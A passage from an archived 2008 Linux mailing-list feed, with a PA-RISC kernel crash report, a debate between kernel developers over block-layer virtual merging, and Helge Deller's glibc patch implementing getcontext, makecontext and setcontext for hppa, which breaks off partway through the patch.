>  [<10112cd0>] parisc_show_stack+0x90/0xa8
>  [<10111258>] do_page_fault+0x174/0x294
>  [<10113824>] handle_interruption+0x570/0x58c
>  [<10117078>] intr_check_sig+0x0/0x34
> 
> Kernel panic - not syncing: Kernel Fault
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Sun, 20 Jul 2008 10:23:02 -0700 (PDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20080720.102302.137955996.davem@davemloft.net>
References: <1216520228.3376.33.camel@localhost.localdomain>
	<20080719.210737.197246608.davem@davemloft.net>
	<1216565545.4199.10.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216574603 17021 80.91.229.12 (20 Jul 2008 17:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 17:23:23 +0000 (UTC)
Cc: mpatocka@redhat.com, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-scsi-owner@vger.kernel.org Sun Jul 20 19:24:10 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKcdf-0000OQ-AW
	for lnx-linux-scsi@gmane.org; Sun, 20 Jul 2008 19:24:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757654AbYGTRXF (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Sun, 20 Jul 2008 13:23:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757621AbYGTRXF
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Sun, 20 Jul 2008 13:23:05 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:56508
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1757572AbYGTRXD (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Sun, 20 Jul 2008 13:23:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id CE3B4C8C187;
	Sun, 20 Jul 2008 10:23:02 -0700 (PDT)
In-Reply-To: <1216565545.4199.10.camel@localhost.localdomain>
X-Mailer: Mew version 5.2 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43322 gmane.linux.kernel:709438 gmane.linux.ports.parisc:539
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/539>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Sun, 20 Jul 2008 09:52:25 -0500

> Since we're using it successfully in parisc, I don't want the block code
> removed, but I don't see a reason to force other architectures to use
> it.
> 
> However, it has two use cases.  One is the legacy one of making rather
> dumb I/O cards perform better (which is the primary on on parisc), but
> there is a current one making huge transfers go through SCSI using using
> the sg_table code.  That latter is pretty vital to me since I have to
> keep the code working, but I don't really have any SCSI cards that can
> take advantage of it without virtual merging.  As a slight irony, IBM is
> trying to persuade me that a ppc would be better than a parisc for big
> endian I/O testing ... so I might just be seeing if I can make virtual
> merging work on power too.

All of this is gibberish, we've been over this a few times already
in this thread.

For a dumb I/O card, you advertise SG_ALL capabilities, the IOMMU
is going to merge things as it would have anyways, and you have
code in the driver to advance SG entries after each "dumb I/O".

There is zero value to the vmerge code, the real gains are being
realized already.
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Sun, 20 Jul 2008 12:33:31 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <1216575211.4199.35.camel@localhost.localdomain>
References: <1216520228.3376.33.camel@localhost.localdomain>
	 <20080719.210737.197246608.davem@davemloft.net>
	 <1216565545.4199.10.camel@localhost.localdomain>
	 <20080720.102302.137955996.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216575230 18682 80.91.229.12 (20 Jul 2008 17:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 17:33:50 +0000 (UTC)
Cc: mpatocka@redhat.com, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 19:34:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKcns-0003ec-Kt
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 19:34:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757839AbYGTRdj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 13:33:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757638AbYGTRdj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 13:33:39 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:52381 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757571AbYGTRdh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 13:33:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 38B1880ED;
	Sun, 20 Jul 2008 12:33:35 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216575215; bh=mC9seHJCWXaeVLpqU9SiR1UluUCRy+AP48C3Cr0ttM
	Y=; l=1982; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=Fdr+zBdvAjcTiC78kucXrWjJsWE7gQ0X0h+tR
	AVzuYSnOOomUshvxBNTsPYZHu3d0kRR0GSgRKpiyNCIWjN1stXgDVZPtcMnQLG0zvy/
	YNpXCxz7vIp0+vXmSOcby4pT7fWbIi3FwCC5+w+qPNvqnH36oj/Dll01rFsxg0GDDaY
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TDF-7P3ulQzG; Sun, 20 Jul 2008 12:33:33 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 506E3800D;
	Sun, 20 Jul 2008 12:33:33 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216575213; bh=mC9seHJCWXaeVLpqU9SiR1UluUCRy+AP48C3Cr0ttM
	Y=; l=1982; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=k4ghtmlILIhmHmKHm0k4+84SSIBO3NLDRc72u
	J2e+i51mU2ShLNFR65CvC3RvJPxCZxCQnCSOZn3hs3XCi3LuUQ3ckqjXTXfJty34NWM
	uPDcRHEJEUEGfp5yWwIb72GRBPnTe51FD20ZyvNt71Sw7zwcoWPbwdtYtSj7pQ6PN64
	=
In-Reply-To: <20080720.102302.137955996.davem@davemloft.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:540 gmane.linux.kernel:709441 gmane.linux.scsi:43323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/540>

On Sun, 2008-07-20 at 10:23 -0700, David Miller wrote:
> From: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date: Sun, 20 Jul 2008 09:52:25 -0500
> 
> > Since we're using it successfully in parisc, I don't want the block code
> > removed, but I don't see a reason to force other architectures to use
> > it.
> > 
> > However, it has two use cases.  One is the legacy one of making rather
> > dumb I/O cards perform better (which is the primary on on parisc), but
> > there is a current one making huge transfers go through SCSI using using
> > the sg_table code.  That latter is pretty vital to me since I have to
> > keep the code working, but I don't really have any SCSI cards that can
> > take advantage of it without virtual merging.  As a slight irony, IBM is
> > trying to persuade me that a ppc would be better than a parisc for big
> > endian I/O testing ... so I might just be seeing if I can make virtual
> > merging work on power too.
> 
> All of this is gibberish, we've been over this a few times already
> in this thread.

Really? I must have missed the proposed replacement for the
functionality that we're using then.

> For a dumb I/O card, you advertise SG_ALL capabilities, the IOMMU
> is going to merge things as it would have anyways, and you have
> code in the driver to advance SG entries after each "dumb I/O".

Not that dumb ... they just have a limited number of SG slots.  We
wouldn't want to run them as spoon fed PIO because that really would
kill performance.

> There is zero value to the vmerge code, the real gains are being
> realized already.

There is value to me in my testbed, which I can't achieve any other way
(except by buying different SCSI cards).

As I said, you can compile it out on sparc just fine.  I wish to keep it
running for parisc, so I'll maintain it.  If it ever bit rots out of
parisc like it has done for the other architectures, then feel free to
remove it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.26 kernel crash
Date: Sun, 20 Jul 2008 13:38:09 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20080720173810.6EE7F4E43@hiauly1.hia.nrc.ca>
References: <200807201907.59762.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216575499 19371 80.91.229.12 (20 Jul 2008 17:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 17:38:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 19:39:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKcsF-0004ts-OQ
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 19:39:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757815AbYGTRiM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 13:38:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757853AbYGTRiM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 13:38:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3838 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757815AbYGTRiL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 13:38:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6EE7F4E43; Sun, 20 Jul 2008 13:38:10 -0400 (EDT)
In-Reply-To: <200807201907.59762.deller@gmx.de> from "Helge Deller" at Jul 20, 2008 07:07:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:541
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/541>

> > Kernel Fault: Code=15 regs=5f578640 (Addr=000127ec)
> > 
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001001111110000001111 Not tainted
> > r00-03  0004fc0f 10644f10 1011ee68 5f578288
> > r04-07  00000014 8c1fe860 8c1fe828 8eb7d030
> > r08-11  105ee890 00000040 0001264a 000d3b60
> > r12-15  00000000 000d3b5c 000dde68 000b0000
> > r16-19  8eb7d250 000b0000 ffffffff 000127ec

FWIW, this is the instruction:

dave@hiauly6:~/opt/gnu/bin$ disasm 0x0e601093
   0:	0e 60 10 93 	ldw 0(r19),r19

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] Patch for glibc	getcontext()/makecontext()/setcontext()/swapcontext()
Date: Sun, 20 Jul 2008 20:28:14 +0200
Lines: 566
Approved: news@gmane.org
Message-ID: <488383BE.3070806@gmx.de>
References: <200807190011.02042.deller@gmx.de> <20080720023342.GB6427@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070908020905060806090801"
X-Trace: ger.gmane.org 1216578508 27236 80.91.229.12 (20 Jul 2008 18:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 18:28:28 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, Randolph Chung <tausq@parisc-linux.org>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 20:29:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKdek-0001BL-FL
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 20:29:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750765AbYGTS2S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 14:28:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750794AbYGTS2S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 14:28:18 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47751 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750765AbYGTS2R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 14:28:17 -0400
Original-Received: (qmail invoked by alias); 20 Jul 2008 18:28:14 -0000
Original-Received: from mnhm-590e0026.pool.einsundeins.de (EHLO halden.box) [89.14.0.38]
  by mail.gmx.net (mp051) with SMTP; 20 Jul 2008 20:28:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+FJHVRNdWF1FyKCsc5J5DjmDc2cTJHiaBtza6JgD
	vJGiCEyIjkXFOC
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080720023342.GB6427@phobos.i.cabal.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:542
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/542>

This is a multi-part message in MIME format.
--------------070908020905060806090801
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Kyle McMartin wrote:
> On Sat, Jul 19, 2008 at 12:11:01AM +0200, Helge Deller wrote:
>> - only integer parameters allowed (but that's usual on most arches)
>> - 32bit userspace implementation only
>> - do I need to save the FP regs?
>> - maybe more?
>>
>> Any feedback is very much appreciated.
>> (Please be kind, my hppa assembler knowledge isn't that good)
>>
> 
> You probably need to save fpregs as well, but you could just steal all
> that from setjmp (ordering matters with fprs.)

Thanks Kyle!

Attached is an updated patch, which
- saves and restores the FP regs
- passes glibc's stdlib/tst-setcontext.c test

Helge

--------------070908020905060806090801
Content-Type: text/x-patch;
 name="getcontext_12.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="getcontext_12.diff"

diff -up ports/sysdeps/unix/sysv/linux/hppa/Makefile.org ports/sysdeps/unix/sysv/linux/hppa/Makefile
--- ports/sysdeps/unix/sysv/linux/hppa/Makefile.org	2008-07-16 19:41:29.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/Makefile	2008-07-16 19:41:37.000000000 +0200
@@ -1,2 +1,7 @@
 # linux/hppa does not use -lmilli anymore
 gnulib := -lgcc
+
+ifeq ($(subdir),stdlib)
+gen-as-const-headers += ucontext_i.sym
+endif
+
diff -up ports/sysdeps/unix/sysv/linux/hppa/getcontext.S.org ports/sysdeps/unix/sysv/linux/hppa/getcontext.S
--- ports/sysdeps/unix/sysv/linux/hppa/getcontext.S.org	2008-07-16 19:52:11.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/getcontext.S	2008-07-20 20:03:29.000000000 +0200
@@ -0,0 +1,158 @@
+/* Get current user context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <sysdep.h>
+
+#include "ucontext_i.h"
+
+
+	/* Trampoline function.  */
+	.type	__getcontext_ret, #function
+__getcontext_ret:
+	copy	%r23, %r3
+	copy	%r24, %r4
+	copy	%r25, %r5
+	copy	%r26, %r6
+	bv	0(%r20)
+	copy	%r0, %ret0
+	.size	__getcontext_ret, .-__getcontext_ret
+
+
+ENTRY(__getcontext)
+	/* Save the register.  */
+	stw	%r0, oR0(%r26)
+	stw	%r1, oR1(%r26)
+	/* stw	%r2, oR2(%r26) - used for trampoline.  */
+	stw	%r3, oR3(%r26)
+	stw	%r4, oR4(%r26)
+	stw	%r5, oR5(%r26)
+	stw	%r6, oR6(%r26)
+	stw	%r7, oR7(%r26)
+	stw	%r8, oR8(%r26)
+	stw	%r9, oR9(%r26)
+	stw	%r10, oR10(%r26)
+	stw	%r11, oR11(%r26)
+	stw	%r12, oR12(%r26)
+	stw	%r13, oR13(%r26)
+	stw	%r14, oR14(%r26)
+	stw	%r15, oR15(%r26)
+	stw	%r16, oR16(%r26)
+	stw	%r17, oR17(%r26)
+	stw	%r18, oR18(%r26)
+	stw	%r19, oR19(%r26)
+	/* stw	%r20, oR20(%r26) - used for trampoline.  */
+	stw	%r21, oR21(%r26)
+	stw	%r22, oR22(%r26)
+	/* stw	%r23, oR23(%r26) - used for trampoline.  */
+	/* stw	%r24, oR24(%r26) - used for trampoline.  */
+	/* stw	%r25, oR25(%r26) - used for trampoline.  */
+	/* stw	%r26, oR26(%r26) - used for trampoline.  */
+	stw	%r27, oR27(%r26)
+	stw	%r28, oR28(%r26)
+	stw	%r29, oR29(%r26)
+	ldo	-64(%sp), %r1	/* Calculate %sp in %r1.  */
+	stw	%r1, oR30(%r26)	/* Save new %sp.  */
+	stw	%r31, oR31(%r26)
+
+	stw	%r0, oUC_FLAGS(%r26)
+	/* stw	%r0, oUC_LINK(%r26) - DO NOT OVERWRITE!  */
+	stw	%r1, oSS_SP(%r26)  /* New %sp.  */
+	stw	%r0, oSS_FLAGS(%r26)
+	stw	%r0, oSS_SIZE(%r26)
+
+	stw	%r0, oSC_FLAGS(%r26)
+
+	stw	%r0, oIASQ0(%r26)
+	stw	%r0, oIASQ1(%r26)
+	stw	%r0, oIAOQ0(%r26)
+	stw	%r0, oIAOQ1(%r26)
+	stw	%r0, oSAR(%r26) /* used as flag in swapcontext().  */
+
+
+	/* Store floating-point regs.  */
+	ldo	oFPREGS0(%r26),%r1
+	fstds,ma %fr0, 8(%r1)
+	fstds,ma %fr1, 8(%r1)
+	fstds,ma %fr2, 8(%r1)
+	fstds,ma %fr3, 8(%r1)
+	fstds,ma %fr4, 8(%r1)
+	fstds,ma %fr5, 8(%r1)
+	fstds,ma %fr6, 8(%r1)
+	fstds,ma %fr7, 8(%r1)
+	fstds,ma %fr8, 8(%r1)
+	fstds,ma %fr9, 8(%r1)
+	fstds,ma %fr10, 8(%r1)
+	fstds,ma %fr11, 8(%r1)
+	fstds,ma %fr12, 8(%r1)
+	fstds,ma %fr13, 8(%r1)
+	fstds,ma %fr14, 8(%r1)
+	fstds,ma %fr15, 8(%r1)
+	fstds,ma %fr16, 8(%r1)
+	fstds,ma %fr17, 8(%r1)
+	fstds,ma %fr18, 8(%r1)
+	fstds,ma %fr19, 8(%r1)
+	fstds,ma %fr20, 8(%r1)
+	fstds,ma %fr21, 8(%r1)
+	fstds,ma %fr22, 8(%r1)
+	fstds,ma %fr23, 8(%r1)
+	fstds,ma %fr24, 8(%r1)
+	fstds,ma %fr25, 8(%r1)
+	fstds,ma %fr26, 8(%r1)
+	fstds,ma %fr27, 8(%r1)
+	fstds,ma %fr28, 8(%r1)
+	fstds,ma %fr29, 8(%r1)
+	fstds,ma %fr30, 8(%r1)
+	fstds	 %fr31, 0(%r1)
+
+	/* Prologue */
+	stwm	%r4, 64(%r30)
+#ifdef PIC
+	stw	%r19, -32(%r30)
+#endif
+
+	/* Set up the trampoline registers.
+	   r20, r23, r24, r25, r26 and r2 are clobbered
+	   by call to getcontext() anyway. Reuse them.  */
+	stw	%r2, oR20(%r26)
+	stw	%r3, oR23(%r26)
+	stw	%r4, oR24(%r26)
+	stw	%r5, oR25(%r26)
+	stw	%r6, oR26(%r26)
+	ldil	L%__getcontext_ret, %r1
+	ldo     R%__getcontext_ret(%r1), %r1
+	stw	%r1, oR2(%r26)
+
+	/* Save the current signal mask.  */
+	/* sigprocmask(SIG_BLOCK, NULL, &ucp->uc_sigmask);  */
+	ldo	oSIGMASK(%r26), %r24
+	copy	%r0, %r25
+	bl	sigprocmask, %r2
+	ldi	SIG_BLOCK, %r26
+
+	/* Epilogue */
+	ldw	-84(%r30), %r2
+#ifdef PIC
+	ldw	-96(%r30), %r19
+#endif
+	bv	%r0(%r2)
+	ldwm	-64(%r30), %r4
+END(__getcontext)
+
+weak_alias (__getcontext, getcontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/makecontext.c.org ports/sysdeps/unix/sysv/linux/hppa/makecontext.c
--- ports/sysdeps/unix/sysv/linux/hppa/makecontext.c.org	2008-07-16 21:41:02.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/makecontext.c	2008-07-20 16:42:15.000000000 +0200
@@ -0,0 +1,79 @@
+/* Create new context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <libintl.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sysdep.h>
+#include <ucontext.h>
+
+/* XXX: This implementation only handles integer arguments.  */
+
+void
+__makecontext (ucontext_t *ucp, void (*func) (void), int argc, ...)
+{
+  unsigned int *sp;
+  va_list ap;
+  int i;
+
+  if (argc > 8)
+    {
+      fprintf (stderr, _("\
+makecontext: does not know how to handle more than 8 arguments\n"));
+      exit (-1);
+    }
+
+  /* Generate room on stack for parameter if needed and uc_link.  */
+  sp = (unsigned int *) ucp->uc_stack.ss_sp;
+
+  /* Address to jump to.  */
+  ucp->uc_mcontext.sc_gr[2] = (unsigned long) func;
+
+  va_start (ap, argc);
+  /* Handle arguments.  */
+  for (i = 0; i < argc; ++i)
+    switch (i)
+      {
+      case 0:
+      case 1:
+      case 2:
+      case 3:
+      	ucp->uc_mcontext.sc_gr[26-i] = va_arg (ap, int);
+	break;
+      case 4:
+      case 5:
+      case 6:
+      case 7:
+	if (sizeof(unsigned long) == 4) {
+		/* 32bit: put arg7-arg4 on stack.  */
+		sp[7-i] = va_arg (ap, int);
+	} else {
+		/* 64bit: r19-r22 are arg7-arg4.  */
+		ucp->uc_mcontext.sc_gr[22+4-i] = va_arg (ap, int);
+	}
+	break;
+      }
+  va_end (ap);
+
+}
+
+
+weak_alias(__makecontext, makecontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/setcontext.S.org ports/sysdeps/unix/sysv/linux/hppa/setcontext.S
--- ports/sysdeps/unix/sysv/linux/hppa/setcontext.S.org	2008-07-16 22:29:10.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/setcontext.S	2008-07-20 20:13:05.000000000 +0200
@@ -0,0 +1,155 @@
+/* Install given context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <sysdep.h>
+
+#include "ucontext_i.h"
+
+
+ENTRY(__setcontext)
+	/* Prologue */
+	stwm	%r3, 64(%r30)
+#ifdef PIC
+	stw	%r19, -32(%r30)
+#endif
+
+	/* Save ucp.  */
+	copy	%r26, %r3
+
+L(_again):
+	/* Set the current signal mask.  */
+	/* sigprocmask(SIG_BLOCK, &ucp->uc_sigmask, NULL);  */
+	copy	%r0, %r24
+	ldo	oSIGMASK(%r3), %r25
+	bl	sigprocmask, %r2
+	ldi	SIG_SETMASK, %r26
+
+	comib,<> 0,%ret0,L(_error)
+	nop
+
+	/* Save %sp, %dp.  */
+	copy	%sp, %r4
+	copy	%dp, %r5
+	copy	%r19, %r6
+
+	/* Get the registers.  */
+	ldw	oR1(%r3), %r1
